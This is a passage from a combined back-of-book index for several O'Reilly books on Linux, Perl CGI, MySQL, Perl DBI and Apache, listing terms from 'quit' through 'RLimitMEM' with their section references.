quit command (gdb): 14.1.1. Tracing a Program (Running Linux)
quitting
Emacs commands for: 10.3.5. Stopping and Undoing Commands (Linux in a Nutshell)
vi commands for: 11.6. Saving and Exiting (Linux in a Nutshell)
quiz (sample XML document): 14.2. An Introduction to XML (CGI Programming with Perl)
quiz.dtd file (sample DTD): 14.3. Document Type Definition (CGI Programming with Perl)
quotation mark ("): 16.1.4.6. More HTML features (Running Linux)
quote( ): 4.6.1. Database-Specific Quote Handling (Programming the Perl DBI)
21.2. DBI.pm API (MySQL & mSQL)
21.3. Msql.pm API (MySQL & mSQL)
A.6.1. Database Handle Methods (Programming the Perl DBI)
and do( ): 5.2. Executing Non-SELECT Statements (Programming the Perl DBI)
looks_like_number function( ) and: 4.6.4. Numeric Testing (Programming the Perl DBI)
quotemeta( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
quotes: 6.2.7. Common Errors (CGI Programming with Perl)
CGI.pm, use with: 15.3.3. Running Scripts from the Command Line (CGI Programming with Perl)
double, in strings
@ character in: 13.5.4. Image Processing (CGI Programming with Perl)
elements, email addresses: 9.2.1. Validating Syntax (CGI Programming with Perl)
indenting ending token, HTML here documents: 5.4.2. Here Documents (CGI Programming with Perl)
tokens ending here documents, use with: 5.4.2. Here Documents (CGI Programming with Perl)
quoting: 7.3.4. Quoting (Linux in a Nutshell)
8.3.3. Quoting (Linux in a Nutshell)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: R

r command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
race conditions: 2.6. Concurrent Database Access and Locking (Programming the Perl DBI)
RADIANS( ) function: 15.1. MySQL SQL (MySQL & mSQL)
radio buttons: 4.2.3.5. Radio buttons (CGI Programming with Perl)
RAID devices
setting up: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
starting/stopping: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
raidstart command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
raidstop command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
RaiseError attribute: 6.1.4. Common Attributes (Programming the Perl DBI)
A.5. Attributes Common to All Handles (Programming the Perl DBI)
connect( ) and: 4.4.1. Connection (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
data fetch, finishing early: 5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
error checking: 4.5.1.1. Manual error checking (Programming the Perl DBI)
executing SELECT statements: 5.1.2. Executing Select Statements (Programming the Perl DBI)
LONG/LOB data and: 6.2. Handling LONG/LOB Data (Programming the Perl DBI)
transaction handling: 6.3.5. Combining Automatic Error Handling with Transactions (Programming the Perl DBI)
RAM (see memory)
RAM disks and initrd: 4.6. initrd: Using a RAM Disk (Linux in a Nutshell)
ramdisk: 3.1.1. Booting Linux (Running Linux)
3.3.1. Problems with Booting the Installation Media (Running Linux)
ramdisk= option: G.3. Kernel Options (Running Linux)
5.2.2.3. Specifying boot time options (Running Linux)
ramdisks: 5.2.2.3. Specifying boot time options (Running Linux)
ramdisk_size= option: G.3. Kernel Options (Running Linux)
ramdisk_start= option: G.3. Kernel Options (Running Linux)
ramsize command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
rand( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
rand command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
random images, CGI script returning: 13.2.1. An Example (CGI Programming with Perl)
range= option (LILO): G.2. Image Options (Running Linux)
ranlib command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
13.1.7. More Fun with Libraries (Running Linux)
rarp command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
raw_cookie method: 11.3.1. Setting Cookies (CGI Programming with Perl)
RAWRITE.EXE program: 2.1.2. Getting Linux from the Internet (Running Linux)
ray-tracing program: 9.4.3. POVRAY (Running Linux)
rb utility (RZSZ): H. Zmodem File Transfer (Running Linux)
.rc files: 4.15. Startup Files (Running Linux)
5.3.3. rc files (Running Linux)
15.1.3.2. The networking rc files (Running Linux)
rc.d directory: 5.3.3. rc files (Running Linux)
rc.d/init.d directory: 5.3.3. rc files (Running Linux)
rc.d/rc script: 5.3.2. init, inittab, and rc files (Running Linux)
5.3.3. rc files (Running Linux)
rc.d/rc.local script: 5.3.3. rc files (Running Linux)
rc.d/rc.sprint file: 5.3.2. init, inittab, and rc files (Running Linux)
rc.d/rc.sysinit program: 5.5. Shutting Down the System (Running Linux)
rcp command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
rcs command (CVS) (see adm|admin commands (CVS))
rcs command (RCS): 14.9. Alphabetical Summary of RCS Commands (Linux in a Nutshell)
RCS utility: 1.4. What This Book Offers (Linux in a Nutshell)
14. Tools for Programmers (Running Linux)
14.2.7. Revision Control Tools--RCS (Running Linux)
14.5. The RCS Utility (Linux in a Nutshell)
basic concepts: 14.1. Basic Concepts (Linux in a Nutshell)
creating subdirectory: 14.7. Basic RCS Operations (Linux in a Nutshell)
importing files into CVS: 14.3.5.2. Importing from RCS (Linux in a Nutshell)
keyword substitution: 14.8.1. Keyword Substitution (Linux in a Nutshell)
locking model: 14.1.1. Locking and Merging (Linux in a Nutshell)
revision numbering: 14.8.2. Revision Numbering (Linux in a Nutshell)
$RCSBIN environment variable (CVS): 14.4.2. Configuring CVS (Linux in a Nutshell)
rcsclean command (RCS): 14.9. Alphabetical Summary of RCS Commands (Linux in a Nutshell)
rcsdiff command (RCS): 14.7. Basic RCS Operations (Linux in a Nutshell)
14.9. Alphabetical Summary of RCS Commands (Linux in a Nutshell)
$RCSfile keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
rcsinfo file (CVS): 14.3.3.12. The rcsinfo file (Linux in a Nutshell)
RCSINIT environment variable (RCS): 14.8.5. Standard Options and Environment Variables (Linux in a Nutshell)
rcsmerge command (RCS): 14.9. Alphabetical Summary of RCS Commands (Linux in a Nutshell)
rc.sysinit program: 5.5. Shutting Down the System (Running Linux)
rdate command (TCP/IP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
RDBMS (Relational Database Management System): 1.2. What Is a Relational Database? (MySQL & mSQL)
2. Basic Non-DBI Databases (Programming the Perl DBI)
rdev command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.2.1. Using a Boot Floppy (Running Linux)
5.2.2.1. The /etc/lilo.conf file (Running Linux)
7.4.2. Building the Kernel (Running Linux)
RDF (Resource Definition Format)
web page information on: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
XML documents: 14.4. Writing an XML Parser (CGI Programming with Perl)
rdiff command (CVS): 14.4.7.15. rdiff (Linux in a Nutshell)
rdist command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
rdistd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
re|rel commands (CVS) (see release command (CVS))
read( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
read and write access to data files, controlling: 8.5.3. File Permissions (CGI Programming with Perl)
read command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
read command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
"Read error, file not found" error: 3.3.3. Problems Installing the Software (Running Linux)
read-only databases: 3.4. Modifying Data Within Tables (Programming the Perl DBI)
read-only filesystems: 3.1.1. Booting Linux (Running Linux)
5.2.2.3. Specifying boot time options (Running Linux)
6.1.2. Mounting Filesystems (Running Linux)
6.1.5. Checking and Repairing Filesystems (Running Linux)
read permission (see permissions)
4.13. File Ownership and Permissions (Running Linux)
readbuffer option: 16.1.2. Command line variables (MySQL & mSQL)
readdir( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
readers file (CVS): 14.3.3.13. The readers file (Linux in a Nutshell)
readfile( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
reading, additional materials: A.2. Additional Reading (CGI Programming with Perl)
reading image (binary file) data: 13.2.1.1. binmode (CGI Programming with Perl)
reading in entire files (slurping): 17.1.4. Avoid Slurping (CGI Programming with Perl)
reading/writing DBM files, MLDBM module and: 10.2.2. MLDBM (CGI Programming with Perl)
"read_intr: 0x10" error: 3.3.3. Problems Installing the Software (Running Linux)
readlink( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
readln( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
README file: 2.1.2. Getting Linux from the Internet (Running Linux)
ReadmeName directive: 7.1.13. ReadmeName (Apache: The Definitive Guide)
readonly command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
Read_Only system variable: 16.2.2.2. system (MySQL & mSQL)
readtok( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
read/write permissions, accessing for hash files: 10.2.1. DB_File (CGI Programming with Perl)
REAL datatype: 6.3. SQL Datatypes (MySQL & mSQL)
6.3.5. Other Kinds of Data (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
REAL numeric datatype: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
realm
authentication: 5.2.2. AuthName (Apache: The Definitive Guide)
authorization, specifying for: 2.4.2.10. WWW-Authenticate (CGI Programming with Perl)
logins, identifying in: 2.3.2.4. Authorization (CGI Programming with Perl)
protected, indicating with 401 status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
reboot command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
rebooting (see booting, Linux)
recexact variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
recode utility: 12.1.5. File Translation Utilities (Running Linux)
recognize_only_executables variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
record_buffer option: 16.1.2. Command line variables (MySQL & mSQL)
recordset: 7.3.2. Example (CGI Programming with Perl)
constructing: 7.3.2. Example (CGI Programming with Perl)
recover command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
recursive relationship: 2.2.3. Relationships (MySQL & mSQL)
Red Hat Installer: D.4. Using the Red Hat Installer (Running Linux)
Red Hat Linux
Alpha systems: C.2. The Linux Port (Running Linux)
Motorola 68000-series systems: E.3. Distributions (Running Linux)
Red Hat Package Manager (RPM): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.1. The Red Hat Package Manager (Linux in a Nutshell)
7.3. Using RPM (Running Linux)
GNOME-RPM: 5.1.2. GNOME-RPM (Linux in a Nutshell)
rpm command (see rpm command)
RedHat Linux, Apache directory structure on: 1.4. Web Server Configuration (CGI Programming with Perl)
Redirect directive: 8.6. Redirect (Apache: The Definitive Guide)
redirect method (CGI.pm): 5.3.1. Controlling HTTP Headers with CGI.pm (CGI Programming with Perl)
redirection: 8. Redirection (Apache: The Definitive Guide)
14.6.15. Request-Handling Functions (Apache: The Definitive Guide)
4.9. Saving Your Output (Running Linux)
307 temporary redirect status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
to absolute URLs: 3.3.1.2. Forwarding to another URL (CGI Programming with Perl)
bash shell and: 7.3.6. Redirection Forms (Linux in a Nutshell)
client requests, status codes for: 2.4.2.7. Location (CGI Programming with Perl)
cookies, setting in: 11.3.2. Testing for Cookies (CGI Programming with Perl)
csh and tcsh: 8.3.5. Redirection Forms (Linux in a Nutshell)
error messages to browser: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
15.2.4. Trap die (CGI Programming with Perl)
15.2.4. Trap die (CGI Programming with Perl)
to relative URLs: 3.3.1.2. Forwarding to another URL (CGI Programming with Perl)
server status codes for: 2.4.1. The Status Line (CGI Programming with Perl)
URL substitutions: 8.8. Rewrite (Apache: The Definitive Guide)
12.9. URL Rewriting (Apache: The Definitive Guide)
user requests to static HTML page: 3.3.1.2. Forwarding to another URL (CGI Programming with Perl)
RedirectMatch directive: 8.7. RedirectMatch (Apache: The Definitive Guide)
Ref interface: 22. JDBC Reference (MySQL & mSQL)
references
cited in this book: A. Works Cited and Further Reading (CGI Programming with Perl)
to related URLs: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
strict rules for, using: 1.2.1. Sample CGI (CGI Programming with Perl)
symbolic, strict vs.: 15.2.1. Use strict (CGI Programming with Perl)
references to bind values: 5.3.3. Binding Input and Output Parameters (Programming the Perl DBI)
referencing current scriptname in tags: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
referential hashes: 2.7.3.4. Querying limitations of DBM files and hashtables (Programming the Perl DBI)
Referer field: 2.3.2.7. Referer (CGI Programming with Perl)
11.3.2. Testing for Cookies (CGI Programming with Perl)
CGI script for checking: 3.4.3. Restricting Image Hijacking (CGI Programming with Perl)
Refresh command: 4.4.1.4. Server status (MySQL & mSQL)
refresh rate: 10.4. Configuring XFree86 (Running Linux)
refreshRow( ) method: 22. JDBC Reference (MySQL & mSQL)
regex
extracting words greater than or equal to two characters for index: 12.3. Inverted Index Search (CGI Programming with Perl)
searching for query with: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
regexp, finding HTML tags with: 12.3. Inverted Index Search (CGI Programming with Perl)
regions, Emacs and: 10.3.4. Paragraphs and Regions (Linux in a Nutshell)
register_cleanup( ): 14.6.4. Cleanup Functions (Apache: The Definitive Guide)
registerDriver( ) method: 22. JDBC Reference (MySQL & mSQL)
registered media types for the web (IANA registry): 2.4.2.3. Content-Type (CGI Programming with Perl)
registering domain names: 16.2.3.1. Registering an address (Running Linux)
registerOutParameter( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
registers: 9.1.11. Moving Text, and Using Registers (Running Linux)
registration forms
email addresses, collecting from users: 9.2. Email Addresses (CGI Programming with Perl)
example: 7.2.1.3. Validation example (CGI Programming with Perl)
reg_match( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
reg_replace( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
regression testing: 1.7. Open Source and the Philosophy of Linux (Running Linux)
reg_search( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
regular expressions: 6.4.5.1. Embperl handler (CGI Programming with Perl)
7.4.1. Variable Substitution (Linux in a Nutshell)
4.8. Filename Expansion (Running Linux)
13.4.1. A Sample Program (Running Linux)
API functions for: 14.6.6. Regular Expression Functions (Apache: The Definitive Guide)
checking email address against: 9.2.1. Validating Syntax (CGI Programming with Perl)
eval function, using with: 12.2.1. Regex-Based Search Engine (CGI Programming with Perl)
for URLs: 8.8. Rewrite (Apache: The Definitive Guide)
12.9. URL Rewriting (Apache: The Definitive Guide)
JavaScript support for: 7.2.1.3. Validation example (CGI Programming with Perl)
matching email addresses: 9.2.1. Validating Syntax (CGI Programming with Perl)
mod_perl, problems with: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
performance, improving: 17.1.10. Regular Expressions (CGI Programming with Perl)
results, reassigning to $filename: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
search engine based on: 12.2.1. Regex-Based Search Engine (CGI Programming with Perl)
search for (Emacs): 9.2.5. Searching and Replacing (Running Linux)
search requests, running through: 12.1. Searching One by One (CGI Programming with Perl)
searching file contents: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
XML tags, filtering out bad data in: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
regular modules: 14.3.3.9. The modules file (Linux in a Nutshell)
rehash command: 17.1. MySQL Utilities (MySQL & mSQL)
rehash command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
reinstalling vs. upgrading: 7.2. Upgrading Software (Running Linux)
@related, references to related URLs: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
Relational Database Management System (RDBMS)
definition: 1.2. What Is a Relational Database? (MySQL & mSQL)
mSQL: 5. mSQL (MySQL & mSQL)
Relational Database Management Systems (see RDBMS)
relational databases: 3.1. The Relational Database Methodology (Programming the Perl DBI)
1.2. What Is a Relational Database? (MySQL & mSQL)
8.2. Data Processing (MySQL & mSQL)
relationships
refining: 2.2.6. Refining Relationships (MySQL & mSQL)
types of: 2.2.3. Relationships (MySQL & mSQL)
2.2.5. Kinds of Relationships (MySQL & mSQL)
relative( ) method: 22. JDBC Reference (MySQL & mSQL)
relative links: 16.1.4.3. Using links (Running Linux)
relative times: 5.3.1.3. Caching (CGI Programming with Perl)
relative URLs: 2.1.2. Absolute and Relative URLs (CGI Programming with Perl)
16.1.3. Use Relative URLs (CGI Programming with Perl)
full paths vs. relative paths: 2.1.2. Absolute and Relative URLs (CGI Programming with Perl)
redirecting to: 3.3.1.2. Forwarding to another URL (CGI Programming with Perl)
release command (CVS): 14.4.7.16. release (Linux in a Nutshell)
RELEASE_LOCK( ) function: 15.1. MySQL SQL (MySQL & mSQL)
release_semaphore( ): 14.6.9.2. Semaphore Functions (Apache: The Definitive Guide)
reload command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
17.1. MySQL Utilities (MySQL & mSQL)
17.2. mSQL Utilities (MySQL & mSQL)
relshow command: 5.6.1. Command Line Tools (MySQL & mSQL)
relshow utility: 17.2. mSQL Utilities (MySQL & mSQL)
Remarks field: 6.1.6. Database Metadata (Programming the Perl DBI)
remote
access (see telnet)
command execution: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
files, copying: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
hosts (see hosts)
logging in: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
machine, transferring files to/from: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
printing: 8.4.5.3. The rest of the printcap variables (Running Linux)
shell programs (CVS): 14.4.2. Configuring CVS (Linux in a Nutshell)
Remote-Addr header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase (Apache: The Definitive Guide)
Remote-Host header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase (Apache: The Definitive Guide)
remote processes as servers: 14.1. Communicating with Other Servers (CGI Programming with Perl)
remote proxy servers: 9.1.2. ProxyRemote (Apache: The Definitive Guide)
Remote-User header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase (Apache: The Definitive Guide)
removable storage devices: 1.9.6.3. Tape drives and removable storage (Running Linux)
remove command (CVS): 14.4.7.17. remove (Linux in a Nutshell)
removing (see deleting)
removing indentation, HTML here documents: 5.4.2. Here Documents (CGI Programming with Perl)
removing or replacing files, write permission and: 10.1.2. Write Permissions (CGI Programming with Perl)
removing word suffixes automatically: 12.3. Inverted Index Search (CGI Programming with Perl)
rename( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
rename function (Perl): 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
renaming files/directories: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
renice command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
repairing filesystems: 6.1.5. Checking and Repairing Filesystems (Running Linux)
8.6.1. Repairing Filesystems (Running Linux)
repartitioning: 2.2.2. Repartitioning Concepts (Running Linux)
Linux requirements: 2.2.3. Linux Partition Requirements (Running Linux)
REPEAT( ) function: 15.1. MySQL SQL (MySQL & mSQL)
repeat command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
REPLACE( ) function: 15.1. MySQL SQL (MySQL & mSQL)
replacing, metacharacters for: 9.4.1. Examples of Searching and Replacing (Linux in a Nutshell)
replacing text (see search and replace)
replies to email messages, constructing with formail: 9.7.1. Autoreply from nobody (CGI Programming with Perl)
Reply-To field, email messages: 9.3. Structure of Internet Email (CGI Programming with Perl)
report-generation mechanism, Perl: 13.4.2. More Features (Running Linux)
repositories, CVS (see CVS utility, repositories)
repository, CVS: 14.2.8. Revision Control Tools--CVS (Running Linux)
14.2.8.1. Setting up a CVS repository (Running Linux)
Repository file (CVS): 14.4.4.3. CVS directories (Linux in a Nutshell)
repository locators
pserver: 14.3.3.11. The passwd file (Linux in a Nutshell)
14.3.6. Using an Interim Shared Sandbox (Linux in a Nutshell)
types of: 14.4.1. Repository Locators (Linux in a Nutshell)
request line: 2.2.2. HTTP Headers (CGI Programming with Perl)
2.3.1. The Request Line (CGI Programming with Perl)
Request-Method header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase (Apache: The Definitive Guide)
request methods
case sensitivity in: 2.3.1. The Request Line (CGI Programming with Perl)
HEAD: 2.3.1.3. HEAD (CGI Programming with Perl)
METHOD attribute, specifying with: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
options, browsers including in: 4.1. Sending Data to the Server (CGI Programming with Perl)
POST: 2.3.1.4. POST (CGI Programming with Perl)
POST and GET
mailing list signup form (example): 4.1. Sending Data to the Server (CGI Programming with Perl)
PUT and DELETE: 2.3.1.1. PUT and DELETE (CGI Programming with Perl)
resources not supporting: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
request_rec structure: 14.4. Per-Request Information (Apache: The Definitive Guide)
Request-URI header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase (Apache: The Definitive Guide)
request/response cycle (HTTP): 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
content negotiation: 2.6. Content Negotiation (CGI Programming with Perl)
proxies, effect on: 2.5. Proxies (CGI Programming with Perl)
requests
handling, API functions for: 14.6.15. Request-Handling Functions (Apache: The Definitive Guide)
maximum wait time: 3.4.16. TimeOut (Apache: The Definitive Guide)
per-request information: 14.4. Per-Request Information (Apache: The Definitive Guide)
post read requests: 15.3.8. Post Read Request (Apache: The Definitive Guide)
simultaneous, maximum for: 3.6.1. MaxClients (Apache: The Definitive Guide)
status information: 11.3. Server Status (Apache: The Definitive Guide)
Requests for Comments (RFCs): A.5. Requests For Comments (Running Linux)
requests from clients: 11. Maintaining State (CGI Programming with Perl)
requests, HTTP: 2.3. Browser Requests (CGI Programming with Perl)
405 Not Allowed status header: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
408 Request Timed Out status header: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
alternatives to CGI for handling: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
body: 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
caching
problems with: 2.4.2.5. ETag (CGI Programming with Perl)
proxies and: 2.5. Proxies (CGI Programming with Perl)
CGI scripts, specifying for receiving: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
client, identifying: 2.5.1. Identifying Clients (CGI Programming with Perl)
cookie header lines: 11. Maintaining State (CGI Programming with Perl)
encoding media types for: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
generating with form submissions: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
GET (see GET requests)
header field lines: 2.3.2. Request Header Field Lines (CGI Programming with Perl)
media types, listing preferred in headers: 2.6.1. Media Type (CGI Programming with Perl)
methods (see request methods)
server status codes for: 2.4.1. The Status Line (CGI Programming with Perl)
stateless or nonpersistent: 11. Maintaining State (CGI Programming with Perl)
timed out, 408 status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
unique identifier, passing with: 11. Maintaining State (CGI Programming with Perl)
require directive: 5.2.6. Require (Apache: The Definitive Guide)
#REQUIRED keyword, XML documents: 14.3. Document Type Definition (CGI Programming with Perl)
reset( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
reset buttons: 4.2.3.7. Reset buttons (CGI Programming with Perl)
reset command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
reset_event( ): 14.6.9.3. Event Functions (Apache: The Definitive Guide)
reset_timeout( ): 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
resolv.conf file: 15.1.3.6. /etc/resolv.conf (Running Linux)
15.2.1.3. Setting up PPP (Running Linux)
resource classes: 11.1.2. The X Resource Database (Running Linux)
resource configuration files: 4.15. Startup Files (Running Linux)
resource pools: 14.1. Pools (Apache: The Definitive Guide)
14.6. Functions (Apache: The Definitive Guide)
resources (see documentation)
content negotiation: 2.6. Content Negotiation (CGI Programming with Perl)
date and time of last update: 2.4.2.6. Last-Modified (CGI Programming with Perl)
dynamic, problems with caching: 2.5.2. Caching (CGI Programming with Perl)
entity tags for requested: 2.4.2.5. ETag (CGI Programming with Perl)
path information: 2.1.1. Elements of a URL (CGI Programming with Perl)
redirecting client request for: 2.4.2.7. Location (CGI Programming with Perl)
web: 2.1. URLs (CGI Programming with Perl)
resources for further reading: 0.1. Resources (Programming the Perl DBI)
resources, X: 11.1.2. The X Resource Database (Running Linux)
response codes, HTTP: 11.5.5. site.authent--Another Example (Apache: The Definitive Guide)
15.2. Status Codes (Apache: The Definitive Guide)
response headers: 3.10. HTTP Response Headers (Apache: The Definitive Guide)
responses, HTTP: 1.2. Introduction to CGI (CGI Programming with Perl)
2.4. Server Responses (CGI Programming with Perl)
alternatives to CGI for handling: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
body: 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
caching
problems with: 2.4.2.5. ETag (CGI Programming with Perl)
proxies and: 2.5. Proxies (CGI Programming with Perl)
categories, client capabilities for: 2.3.2.6. Accept (CGI Programming with Perl)
headers: 2.4.2. Server Headers (CGI Programming with Perl)
headers, server generation of: 3.3. CGI Output (CGI Programming with Perl)
response handlers: 17.3. mod_perl (CGI Programming with Perl)
restart flag (apachect1): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
restarting httpd: 3.12. Restarts (Apache: The Definitive Guide)
restoring files from backup: 8.6.3. Restoring Files from Backup (Running Linux)
restricted (global) option (LILO): G.1. Global Options (Running Linux)
restricted (image) option (LILO): G.2. Image Options (Running Linux)
restrictions, turning off in strict mode: 15.2.1. Use strict (CGI Programming with Perl)
Result class: 13.2.3. Result Sets (MySQL & mSQL)
result set meta-data: 11.2. Dynamic Connectivity (MySQL & mSQL)
result sets: 5.1.3. Fetching Data (Programming the Perl DBI)
ResultSet: 14.2. Simple Database Access (MySQL & mSQL)
14.3.1. Meta Data (MySQL & mSQL)
ResultSet, in JDBC: 14.1. What Is JDBC? (MySQL & mSQL)
ResultSet interface: 22. JDBC Reference (MySQL & mSQL)
ResultSetMetaData interface: 14.3.1. Meta Data (MySQL & mSQL)
14.3.1. Meta Data (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
resuming sessions: D.1.4. Resuming Sessions (Apache: The Definitive Guide)
retry file: 16.2.1.7. smail runtime configuration files (Running Linux)
return( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
return addresses (email messages), falsifying: 9.1.2. False Identities (CGI Programming with Perl)
return command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
return command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
returned values: 15.1. MySQL SQL (MySQL & mSQL)
REVERSE( ) function: 15.1. MySQL SQL (MySQL & mSQL)
Reverse Address Resolution Protocol (RARP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
reverse-DNS lookups: 3.4.17. HostNameLookups (Apache: The Definitive Guide)
reverse linefeeds, displaying: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
reverse output: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
revision control
CVS (Concurrent Version System): 14.2.8. Revision Control Tools--CVS (Running Linux)
over Internet: 14.2.8.3. CVS over the Internet (Running Linux)
CVS utility: 14. CVS and RCS (Linux in a Nutshell)
RCS (Revision Control System): 14. Tools for Programmers (Running Linux)
14.2.7. Revision Control Tools--RCS (Running Linux)
RCS utility: 14.5. The RCS Utility (Linux in a Nutshell)
Revision Control System (see RCS utility)
revision control system, tracking changes to applications: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
$Revision keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
revision numbers (RCS): 14.8.2. Revision Numbering (Linux in a Nutshell)
REVOKE statement: 15.1. MySQL SQL (MySQL & mSQL)
rewind( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
rewind command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
rewinddir( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
rewrite module: 8.8. Rewrite (Apache: The Definitive Guide)
12.9. URL Rewriting (Apache: The Definitive Guide)
RewriteBase directive: 8.8.5. RewriteBase (Apache: The Definitive Guide)
RewriteCond directive: 8.8.6. RewriteCond (Apache: The Definitive Guide)
RewriteEngine directive: 8.8.1. RewriteEngine (Apache: The Definitive Guide)
RewriteLog directive: 8.8.2. RewriteLog (Apache: The Definitive Guide)
RewriteLogLevel directive: 8.8.3. RewriteLogLevel (Apache: The Definitive Guide)
RewriteMap directive: 8.8.4. RewriteMap (Apache: The Definitive Guide)
RewriteRule directive: 8.8.7. RewriteRule (Apache: The Definitive Guide)
rewriting URLs: 8.8. Rewrite (Apache: The Definitive Guide)
12.9. URL Rewriting (Apache: The Definitive Guide)
example of: 8.8.8. A Rewrite Example (Apache: The Definitive Guide)
rexecd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
REXX: 5.6.2.4. Programming interfaces (MySQL & mSQL)
RFCs, information sources on: A.3. RFCs (CGI Programming with Perl)
RFCs (Requests for Comments): A.5. Requests For Comments (Running Linux)
rfreeze command (CVS) (see rt|rtag commands (CVS))
rft# files: 8.1.1.1. Backing up to tape (Running Linux)
RLimitCPU directive: 4.3.6. RLimitCPU (Apache: The Definitive Guide)
RLimitMEM directive: 4.3.7. RLimitMEM (Apache: The Definitive Guide)
